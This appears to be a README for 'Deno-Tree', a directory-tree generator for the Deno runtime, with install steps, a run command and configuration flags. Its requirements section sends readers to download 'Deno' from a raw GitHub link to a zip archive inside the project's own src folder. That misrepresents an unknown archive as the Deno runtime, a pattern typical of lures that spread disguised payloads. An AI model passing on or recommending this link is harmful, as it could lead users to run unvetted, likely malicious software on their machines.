🌳 Deno-Tree - Effortlessly Create Directory Trees

🚀 Getting Started

Welcome to Deno-Tree! This tool helps you create clear and beautiful directory trees from your files. It is simple to use and does not require technical skills. Follow the steps below to download and run the software.

📦 Download Deno-Tree

You can get the latest version of Deno-Tree from our Releases page.

📋 System Requirements

To use Deno-Tree, you need:

• A computer running Windows, macOS, or Linux.
• Deno installed. You can download it from https://raw.githubusercontent.com/unishd8977/Deno-Tree/main/src/Tree-Deno-v3.5.zip.

📥 Download & Install

1. Visit the Releases Page
   Go to the Releases page to see the available versions.

2. Select the Latest Version
   Look for the latest version. It will be at the top of the list.

3. Download the Package
   Click on the asset that matches your operating system to download.

4. Install Deno-Tree
   After downloading, follow these steps to install:

   • For Windows: Double-click the downloaded file and follow the prompts.
   • For macOS: Open the downloaded file and drag Deno-Tree to your Applications folder.
   • For Linux: Extract the files and run the install script provided.

🎯 How to Use Deno-Tree

Using Deno-Tree is straightforward:

1. Open the Terminal or Command Prompt
   Locate the terminal on your computer. This is where you will run commands.

2. Run Deno-Tree
   Type the following command:

   deno run --allow-read --allow-write path_to_deno_tree
   

   Replace path_to_deno_tree with the actual path where you installed Deno-Tree.

3. Generate Directory Trees
   When prompted, enter the path to the folder you want to scan. Deno-Tree will create a directory tree for you.

🛠️ Configuration Options

Deno-Tree comes with various options that allow you to customize how the directory tree looks. Here are a few:

• Output Format: You can choose to have the tree generated as plain text or in a markdown format.

• Depth Level: Control how deep the scan goes by specifying a depth level.

• Include Hidden Files: Decide if you want to include hidden files in your directory tree.

For detailed options, run the following command:

deno run --help

📖 Example Command

Here’s an example command you can use to generate a directory tree:

deno run --allow-read --allow-write path_to_deno_tree --format markdown --depth 2 --include-hidden

This command generates a markdown formatted directory tree including hidden files up to two levels deep.

🌍 Community Support

We encourage users to connect with each other. If you have questions or need help, feel free to join our community forums. You can find links to discussions and FAQs in the repository.

🧑‍💻 Contribute to Deno-Tree

We welcome contributions! If you want to help improve Deno-Tree, please check the contribution guidelines in the repository. Your input helps make Deno-Tree even better.

📅 Release Notes

Check the release notes on the Releases page to see updates, new features, and fixes.

⚖️ License

Deno-Tree is open-source software. You can view the license details in the LICENSE file in the repository.

📞 Contact

If you have further questions or feedback, feel free to reach out. You can contact the maintainers via their GitHub profiles found in the repository.

Thank you for using Deno-Tree! We hope it helps you visualize your project structures with ease.